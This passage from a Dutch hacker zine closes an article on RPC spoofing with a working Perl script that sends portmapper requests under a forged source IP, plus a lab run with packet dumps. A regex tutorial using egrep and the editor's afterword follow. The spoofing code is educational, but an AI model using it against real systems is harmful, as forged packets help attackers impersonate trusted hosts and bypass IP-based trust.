zou invullen en zou doorsturen, heb je een rpc packet gespoofd. Proof of concept code In dit laatste hoofdstuk staat een klein stukje perl code, als proof of concept waarmee ik zal laten zien hoe je in de praktijk rpc spoofed. Deze code gebruikt rawip (zodat we niet heel de ip en udp header moeten maken, dit bespaart véél tijd.), en werkt alleen op unix systemen (omdat rawip niet beschikbaar is voor andere operating systems), indien je rawip niet hebt, kan je het op: http://packetstormsecurity.nl/sniffers/net-rawip/Net-RawIP-0.09b.tar.gz downloaden. Rawip heeft libpcap nodig, als je dit niet hebt kan je het downloaden op: http://packetstormsecurity.org/libraries/libpcap/libpcap-0.6.2.tar.gz De code stuurt een request naar de portmapper. Dit is uiteraard nutteloos, en dient alleen maar als voorbeeld. ---] Begin of file #!/usr/bin/perl use Net::RawIP; # run like ./rpcspoof.pl # het ip dat je wilt spoofen $source = shift; # het ip van je slachtoffer $dest = shift; # de poort waarom de portmapper draait. $port = shift; $XID = "\xc2\xbf\x00\xdd"; $call = "\x00\x00\x00\x00"; $version = "\x00\x00\x00\x02"; $program_nr = "\x00\x01\x86\xa0"; # rpc portmapper $version_nr = "\x00\x00\x00\x02"; $procedure_nr = "\x00\x00\x00\x04"; # PMAPPROC_DUMP $cred = "\x00\x00\x00\x00". "\x00\x00\x00\x00"; $ver = "\x00\x00\x00\x00". "\x00\x00\x00\x00"; $data = $XID . $call . $version . $program_nr . $version_nr . $procedure_nr . $cred . $ver ; $packet = Net::RawIP->new({ ip => { saddr => $source, daddr => $dest }, udp => { dest => $port, len => length($data) + 8, # 8 = de lengte van de udp header data => $data } }) ; $packet->send; End of file Nu deze code testen. Op 192.168.10.37 (localbox) ga ik een daemon draaien die op port 111 op udp draait, op 192.168.10.36 (kimberly) ga ik de PoC draaien en me voordoen als 208.47.125.33. kimberly : root@kimberly:~ # perl rpcspoof.pl 208.47.125.33 192.168.10.37 111 root@kimberly:~ # localbox : root@localbox:~ # netcat -l -u -p 111 -o hexdump -v -v listening on [any] 111 ... connect to [192.168.10.37] from gary7.nsa.gov [208.47.125.33] 0 Â¿Ý sent 0, rcvd 32 root@localbox:~ # cat hexdump < 00000000 c2 bf 00 dd 00 00 00 00 00 00 00 02 00 01 86 a0 # ................ < 00000010 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 # ................ < 00000020 00 00 00 00 00 00 00 00 # ................ root@localbox:~ # Zoals je kunt zien 'denkt' localbox dat het packet van gary7.nsa.gov komt, maar eigenlijk heeft kimberly dit packet gestuurd. Referenties [1] http://warlord.nologin.org/papers/rpc-spoofing.txt Door JimJones [2] http://ietf.org/rfc/rfc0791.txt Rfc 791 (IP) [3] TCP/IP Illustrated Volume 1 ISBN: 0201633469 Door Richard W. Stevens [4] http://ietf.org/rfc/rfc0768.txt Rfc 768 (UDP) [5] http://www.phrack.org/phrack/48/P48-14 door route [6] http://razor.bindview.com/publish/papers/tcpseq.html door Michal Zalewski (lcamtuf) [7] NFS illustrated ISBN: 0201325705 door Brent Callaghan [8] Power Programming With Rpc ISBN: 0937175773 (!!! voor geavanceerde lezers !!!) door John Bloomer [9] http://ietf.org/rfc/rfc1832.txt Rfc 1832 (XDR: External Data Representation Standard) [10] nmap_rpc.h http://insecure.org/nmap/ fyodor ------------------------------------------------------- 08. Reguliere expressies ------------------------------------------------------- Inleiding Ik was oorspronkelijk van plan dit mee te nemen in mijn derde perl artikel, maar aangezien reguliere expressies in meerdere talen en applicaties voorkomen en ik het uitgebreid wilde behandelen ben ik aan een apart artikel begonnen. Terwijl ik bezig was met dit artikel kwam ik erachter dat reguliere expressies best wel veel omvat en vooral als ik uitgebreid op perl inga. Vandaar dat ik in dit artikel de basis over reguliere expressies zal behandelen en er in de komende nummers van H4H vervolg artikelen zullen volgen. Benodigdheden: concentratievermogen of een grote bak sterke koffie een linux shell egrep eventueel je leesbril Reguliere wattes? Wat zijn nu precies reguliere expressies. Nou om in het kort antwoord te geven, dat zijn die ingewikkelde tekenreeksen die je bijvoorbeeld wel eens in een bash script of een perl script tegenkomt. Bijvoorbeeld: /\*[^*]*\*+([^/*][^*]*\*+)*/ En wat het betekend zal je als het goed is aan het eind van dit artikel weten. Allemaal leuk en aardig denk je nu, maar wat is nou het nut van deze ingewikkelde rotzooi? Nou stel je hebt bijvoorbeeld een artikel getikt en opgeslagen als regexp.h4h, nu weet je van jezelf dat je altijd problemen hebt met het woord pyjama spellen. Niet dat ik dat woord vaak in een artikel gebruik, maar dat terzijde. Je weet dat je het vaak spelt als pjyama. Met een reguliere expressie kan je nu zoeken op alle regels met pyjama en pjyama erin (p(yj|jy)ama) of nog beter je kunt het fout gespelde woord zelfs veranderen (s/pjyama/pyjama/g). Dit zijn maar enkele voorbeelden en aangezien ik in voorbeelden verzinnen niet zo een held ben slaan ze nergens op, maar ik hoop in de loop van het artikel duidelijk te kunnen maken wat de kracht is van reguliere expressies. ^ en $ Voordat we overgaan op perl wil ik eerst beginnen met egrep. Dit om te laten zien dat reguliere expressies ook in andere applicaties voorkomen en je al veel met egrep of een andere applicatie kan doen voor je ingewikkeld hoeft te doen in perl. Perl is ten slotte een verlengde van de shell. De werking van egrep is niet zo moeilijk. # egrep 'reg-exp' bestand Dus stel nu dat ik pyjama wil zoeken in regexp.h4h, dan gebruik ik: # egrep 'pyjama' regexp.h4h Nu zul je een lijst krijgen met alle regels waar pyjama in voorkomt. egrep deelt het tekstbestand op in regels en kijkt of elke regel voldoet aan de reguliere expressie en zal dit dan ook op het beeldscherm weergeven. Maar stel dat je nu alleen de regels wilt zien waar de gezochte tekst aan het begin van de regel voorkomt. Hiervoor gebruiken we het ^-teken. # egrep '^pyjama' regexp.h4h Dit zal alle regels pakken die beginnen met pyjama. Niet dat er veel zullen zijn, maar dat zou best nog wel eens op kunnen lopen aangezien ik voorlopig nog niet klaar ben met dit artikel en het woord pyjama bij deze nu mijn stokpaardje is geworden. Maar nu heb je natuurlijk ook nog regels die eindigen met pyjama en die zijn natuurlijk ook interessant om te weten. Hiervoor gebruiken we het teken $. # egrep 'pyjama$' regexp.h4h Dit pakt alle regels die eindigen op pyjama Maar wat doet '^pyjama$' en '^$' nu eigenlijk. Nou dit is natuurlijk leuk om eerst zelf over na te denken. Dus niet stiekem verder lezen, maar eerst denken wat de oplossing zal zijn. Om een reguliere expressie te lezen is het makkelijk om het gewoon teken voor teken te ontcijferen. Dus '^pyjama$' zoekt naar het begin van de regel gevolgd door pyjama (eigenlijk zoekt hij naar een p, gevolgd door een y, gevolgd door een j, gevolgd door een a, gevolgd door een m en gevolgd door een a.) en dan gevolgd door het einde van de regel. Dus alleen de regels waar alleen pyjama opstaat worden weergeven. '^$' staat voor het begin van de regel gevolgd door het einde van de regel, dus alleen de lege regels worden weergeven. [] Vervolgens gaan we het hebben over karakter classes. En om het makkelijk uit te leggen gebruiken we hiervoor een voorbeeld. Stel we zoeken nu bijvoorbeeld naar beer en bier. Hiervoor gebruiken we karakter classen. # egrep 'b[ie]er' regexp.h4h Dit zoekt naar de letter b gevolgd door een i of een e en gevolgd door een e en een r. In het kort: hij zoekt naar bier of beer. Dit is ook erg makkelijk als je het woord pyjama zoekt maar dan ook als het met een hoofdletter begint (Pyjama dus). # egrep '[Pp]yjama' regexp.h4h Maar stel nu dat je op zoek bent naar een woord waarvan de laatste letter een willekeurige letter van het alfabet is. Dit kan je natuurlijk doen met: # egrep 'pyjam[abcdefghijklmnopqrstuvwxyz]' regexp.h4h Maar erg handig is dit niet. Vooral niet als je ook nog alle hoofdletters wilt weten. Gelukkig kunnen we dit ook korter schrijven: # egrep 'pyjam[a-z]' regexp.h4h [^] Dit is een stuk korter en dus ook makkelijker. En als je de hoofdletters erbij wilt hebben gebruik je gewoon [A-Za-z] of als je bijvoorbeeld een hexadecimaal getal wilt pakken [0-9a-fA-F]. Maar stel dat nu elke teken mag voorkomen behalve de hoofdletter A. Sja dan kan je natuurlijk een lijst maken met alle tekens behalve de A, maar dit is natuurlijk veel te veel werk. Hiervoor gebruiken we het volgende: # egrep '[^A]' regexp.h4h Huh? Dit betekent toch dat hij elke zin pakt die begint met een hoofdletter A? Nee, binnen een karakter class heeft de ^ een aparte betekenis. Nu zoekt hij naar regels waar een teken in staat dat niet A is. Dus '^[A]' is heel wat anders als '[^A]'. In het eerste geval gaat hij op zoek naar alle regels die beginnen met A. (Hiervoor hoef je natuurlijk de A niet in een karakter class te stoppen aangezien het om 1 karakter gaat. Zoals ik al zei, ik ben slecht in voorbeelden :P). En in het tweede geval gaat hij op zoek naar elke regel waar een teken in voorkomt dat niet de hoofdletter A is. !Let op, [^B] zoekt dus naar een teken dat niet B is, dus een regel als BBBBBBABBBB pakt ie ook, omdat A niet-B is. Tussentijdse oefening. Bekijk de volgende reguliere expressies en bedenk wat ze zullen doen. Probeer dit zo uitgebreid mogelijk te doen. # egrep '[Py]jam[^b-z]' regexp.h4h # egrep '[Pp][yY][^j]ama$' regexp.h4h # egrep '^p[^j]yjama' regexp.h4h De antwoorden zullen aan het eind van dit artikel staan. Nee, niet doorscrollen om stiekem te spieken, eerst nadenken. Zo moeilijk zijn ze ook weer niet hoor. . Maar wat als je nu een willekeurig getal of letter hebt of iets wilt hebben wat elke teken in kan houden? Een karakter class met [-./a-zA-Z0-9] kan natuurlijk, maar het is makkelijker om in dit geval een punt te gebruiken. Bijvoorbeeld je zoekt naar pyjama met een willekeurig teken erachter: 'pyjama.'. Dit kan je bijvoorbeeld gebruiken als je een datum zoekt en je weet niet met welke karakters hij gescheiden is. '03.07.1978' vindt dan voor bijvoorbeeld 03/07/1978 of 03-07-1978. Maar pas er wel voor op, want 22403807 19785633 vindt hij ook. Dus hoe je je regexp opbouwt hangt ook voor een groot deel af van de data die je doorzoekt. # egrep 'p..ama' regexp.h4h Bovenstaand voorbeeld zal dus ook de pyjama en pjyama weer geven, maar ook 'putama' of 'hup lama'. Zoals je het ziet hangt het erg van de data af die je doorzoekt en moet je uitkijken wat je in je reguliere expressie gebruikt. Hoe kleiner het kader is dat je maakt des te minder uitvoer krijg je, maar des te beter klopt de uitvoer. # egrep 'p..ama' regexp.h4h en # egrep 'p(yj|jy)ama' regexp.h4h (|) pakken beide pyjama en pjyama, alleen de eerste pakt dus ook 'hup lama'. Nou vond ik dit een leuke overgang om meteen door te gaan met uitleggen wat () en | doet, maar achteraf valt dat best tegen. Maar goed | staat voor of en () is om het boeltje een beetje bij elkaar te houden. # egrep 'p(yj|jy)ama' regexp.h4h Bovenstaande zoekt dus naar 'pyjama' en / of 'pjyama'. Met al die haakjes kan je natuurlijk makkelijk in de war raken, let dus ook goed op dat je () en [] niet door elkaar haalt. En straks komen <> en {} nog aan bod. Stelletje bofkonten. Je ziet dat je met behulp van () en | je het kader een stuk kleiner kan maken waarmee je zoekt. Nog wat oefeningetjes: # egrep '^[^P](yj|jy)(am|ma)' regexp.h4h # egrep '(Pp)[Y|y].jama' regexp.h4h # egrep '.[Pp](Y|yj).m.' regexp.h4h \< en \> Dit is een speciale optie voor egrep. Hij komt ook voor in andere talen, maar meestal onder een andere noemer, zoals \b, maar dat zal ik in verdere artikelen nog behandelen. \< en \> betekenen het begin en het eind van een woord. Waarom de \ er voor staat is om de < en > te escapen. Over ge- escapede karakters straks meer. Het begin of het eind van het woord is het punt waar een woord begint. Dit is dus na een spatie of aan het begin of het eind van de regel. Of een return. # egrep '\' regexp.h4h Zoekt naar alle regels waar het woord Pyjama in voorkomt, dus als jij Nachtpyjama of pyjamafeest hebt zal hij daar niet op reageren. Nou is pyjama natuurlijk een rotvoorbeeld, maar stel je zoekt bijvoorbeeld alle regels met het woord 'kan' erin. Dan heb je geen interesse in vakantie of pikant of iets dergelijks. Hiervoor gebruik je dan: # egrep '\' regexp.h4h ?*+ {min,max} Om aantallen aan te geven gebruiken we de metakarakters: ?, *, + en {min,max}. Deze geven aan hoe vaak een teken voorkomt. Stel je bent net zo een slechte speller als mij en spelt pyjama vaak als pyama. Dat kan je doen met: # egrep 'p(yj|y)ama' regexp.h4h maar het is een stuk makkelijk om het in dit geval anders te doen. # egrep 'pyj?ama' regexp.h4h Het vraagteken kijkt of het teken daarvoor, in dit geval 'j' er 0 of 1 keer in voorkomt. De andere tekens hebben ongeveer dezelfde betekenis, maar hieronder even in het kort wat de verschillen zijn: ? 0 of 1 * 0 of meer + 1 of meer {min, max} tussen minimum en maximum. Een combinatie zoals .* zal dus altijd voorkomen, want op elke regel staat wel een teken. Even goed kan deze combinatie toch nog gebruikt worden, maar dat wordt in een ander artikel behandeld. Let hier dus ook goed op met wat je nodig hebt. Want je kunt hier makkelijk veel te veel resultaten krijgen. Tussenoefening: # egrep 'P?[Yy](jam)*a' regexp.h4h # egrep '(Py{3})?y[ja](m|a)' regexp.h4h # egrep 'P+y?(ja)*.[ma]' regexp.h4h Je ziet dat het al steeds meer abracadabra wordt, maar hopelijk is alles nog te volgen. Als je alles stap voor stap bekijkt wat de reguliere expressie doet is het een stuk makkelijker te volgen dan als je het geheel in een keer wilt ontcijferen. egrep -i Stel dat je nu naar het woord Pyjama zoekt, maar dat het ook als PyJaMa gespeld kan worden. Je kunt dan natuurlijk een regexp gebruiken zoals: # egrep '[Pp][Yy][Jj][Aa][Mm][Aa]' regexp.h4h Mwah, dat is nog te doen, maar als je zoekt naar echte scrabblewoorden, zoals pianostemmer of olifantenstaartje, dan ben je wel een tijdje bezig. Daarvoor heeft de schrijver van egrep er een extra optie in gestopt. Met 'egrep -i' maakt het niet uit of je hoofdletters gebruikt of niet. # egrep -i 'pyjama' regexp.h4h Dat ziet er een stuk vriendelijker uit. Dit komt niet voor in elk programma dat reguliere expressies gebruikt, maar in _het_ programma voor regexps (perl) komt het wel voor. Maar dit komt in een later artikel allemaal ter sprake. \1 Stel dat je uit een tekst alle dubbele woorden wilt weergeven. Het probleem dat dan opspeelt is dat je niet weet naar welk woord je zoekt. Je kunt 1 woord zoeken met '\<[a-zA-Z]+\>'. Begin van het woord, wat letters (minimaal 1) en het eind van het woord. Maar nu weten we niet wat het tweede woord moet zijn, want als we nogmaals '\<[a-zA-Z]+\>' gebruiken krijgen we gewoon weer een begin van een woord, wat letters en het einde van een woord, wat dus betekent dat twee verschillende woorden ook matchen. Dan komt er hier weer wat nieuws. In voorgaande delen zagen we al dat we ( en ) gebruikte voor | en om tekens te groeperen ivm * en dergelijke, maar () wordt gebruikt voor meer. Voor elke () die je gebruikt, maakt de regexp motor een terugkoppeling aan met wat er vergeleken is. Zie het voorbeeld: # egrep '\<([a-zA-Z]+) \1\>' In dit voorbeeld zoeken we dus naar een woord met [a-zA-Z]+. Dit zetten we tussen (), zodat we nogmaals naar hetzelfde woord kunnen zoeken met \1. Verwar dit bijvoorbeeld niet met '\<([a-zA- Z]+)\> \1', want dit pakt ook 'boot bootje'. In volgende artikelen zal ik enkele valkuilen behandelen. escaping Wat nu als je nu een . in je reguliere expressie wilt gebruiken? Momenteel gaat hij dan op zoek naar een willekeurig teken. Maar je kunt de . escapen door middel van een \. # egrep '143\.162\.([0-9]){1,3}\.([0-9]){1,3}' regexp.h4h Om bijvoorbeeld wat Ip-adresjes uit een lijstje te grabben. Hetzelfde kan je doen met de andere metakarakters, zoals bijvoorbeeld (). En om nog even terug te komen op het begin, wat betekent /\*[^*]*\*+([^/*][^*]*\*+)*/ nu? We schrijven het gewoon even helemaal uit. Deze expressie komt uit perl en doorgaans staan de expressies in perl tussen / ipv ' zoals het geval is bij egrep. Dus de eerste en laatste / kan je wegdenken. De reguliere expressie die je nu overhoudt is \*[^*]*\*+([^/*][^*]*\*+)* en deze zoekt dus naar: - een * - gevolgd door 0 of meerdere tekens die geen * zijn - gevolgd door een of meerdere * - gevolgd door 0 of meerdere: - een teken dat geen / of * is - gevolg door 0 of meerdere tekens die geen * zijn - gevolgd door 1 of meerdere * Voorbeelden: ** *blaat***Dhjjhashasjjash****** Nog wat oefeningetjes om af te sluiten. En dan hebben jullie de basis onder de knie. 1. Schrijf een regexp om uit een lijst met data ip-adressen te pakken. 2. Schrijf een regexp om uit een lijst met data alle datums uit januari te pakken. Januari wordt aangegeven als 'Jan' 3. Schrijf een regexp om driedubbele woorden weer te geven, zoals 'dat dat dat'. 4. Schrijf een regexp die zoekt naar regels die beginnen met Subject:, de rest van de regel moet in \1 komen. De antwoorden van deze oefeningen zullen in het volgende artikel te zien zijn. Een aantal bestandjes met wat willekeurige data die je kunt gebruiken bij deze oefeningen zijn te vinden op onze website bij de online versie van dit artikel. Antwoorden # egrep '[Py]jam[^b-z]' regexp.h4h - Zoekt naar een P of een y - gevolgd door de tekens j,a en m, - gevolgd door een teken dat niet b t/m z is. Voorbeelden: Pjama # egrep '[Pp][yY][^j]ama$' regexp.h4h - Zoekt naar een P of een p - gevolgd door een Y of een y - gevolgd door een teken dat geen j is - gevolgd door a,m en a, - gevolgd door het einde van de regel. Voorbeeld: Pylama aan het eind van een regel. # egrep '^p[^j]yjama' regexp.h4h - Zoekt naar het begin van een regel - gevolgd door een teken dat geen j is - gevolgd door de tekens y,j,a,m en a. Voorbeeld: pKyjama aan het begin van de regel. # egrep '^[^P](yj|jy)(am|ma)' regexp.h4h - Zoekt naar het begin van de regel - gevolgd door een teken dat geen hoofdletter P is - gevolgd door yj of jy - gevolgd door am of ma. Voorbeeld: Qyjam aan het begin van de regel. # egrep '(Pp)[Y|y].jama' regexp.h4h - Zoekt naar de tekens P en p - gevolgd door een Y, een | of een y - gevolgd door een willekeurig teken - gevolgd door de tekens j,a,m en a. Voorbeeld: Pp|Sjama # egrep '.[Pp](Y|yj).m.' regexp.h4h - Zoekt naar een willekeurig teken - gevolgd door een P of een p - gevolgd door een Y of een y en een j - gevolgd door een willekeurig teken - gevolgd door een m - gevolgd door een willekeurig teken. Voorbeeld: Opyimt # egrep 'P?[Yy](jam)*a' regexp.h4h - Zoekt naar 0 of 1 P - gevolgd door een Y of y - gevolgd door 0 of meerdere keer de tekenreeks 'jam' - gevolgd door een a. Voorbeelden: Pyjamjama Ya # egrep '(Py{3})?y[ja](m|a)' regexp.h4h - Zoekt naar 0 of 1 keer - een P - gevolgd door driemaal een y - gevolgd door een y - gevolgd door een j of een a - gevolgd door een m of een a. Voorbeelden: Pyyyyja yam # egrep 'P+y?(ja)*.[ma]' regexp.h4h - Zoekt naar 1 of meerdere P - gevolgd door 0 of 1 y - gevolgd door 0 of meerdere keren de tekenreeks 'ja' - gevolgd door een willekeurig teken - gevolgd door een m of een a. Voorbeelden: Pyjama PPPPPjajajaQm Referenties 'Mastering Regular Expressions' - Jeffrey E. F. Friedl - ISBN 1-56592-257-3 Asby ------------------------------------------------------- 09. Nawoord & Dankwoord ------------------------------------------------------- Nawoord Daar is hij dan alweer, het einde van deze unieke papieren H4H. Ik hoop dat jullie alles gelezen hebben en er plezier aan hebben gehad, en ook natuurlijk dat jullie er wat van geleerd hebben. Ik ben erg benieuwd naar jullie reacties erop, mail wordt altijd gewaardeerd, of persoonlijke reacties op Outerbrains. De volgende H4H zal weer gewoon elektronisch worden gemaakt, dus zal te vinden zijn op onze website. Ook voor de komende H4H hebben we weer artikelen nodig, dus als je wat weet te schrijven mail ons dan op artikel@hackers4hackers.org. Dankwoord Mijn dank gaat uit naar de schrijvers van de artikelen, want zonder hen is het maken van een H4H toch onmogelijk. Verder wil ik Scorpster bedanken voor het proeflezen van deze H4H en me te wijzen op fouten erin (ik heb nog nooit iemand zo snel drie keer een H4H zien lezen), Aprocom voor het drukken van deze H4H, en als laatste wil ik Fragile bedanken voor haar geduld en steun tijdens de stressvolle dagen terwijl ik deze H4H aan het maken was. Thijs Bosschert Hoofdredacteur Hackers4Hackers Nighthawk@hackers4hackers.org H4h-redactie@hackers4hackers.org http://www.hackers4hackers.org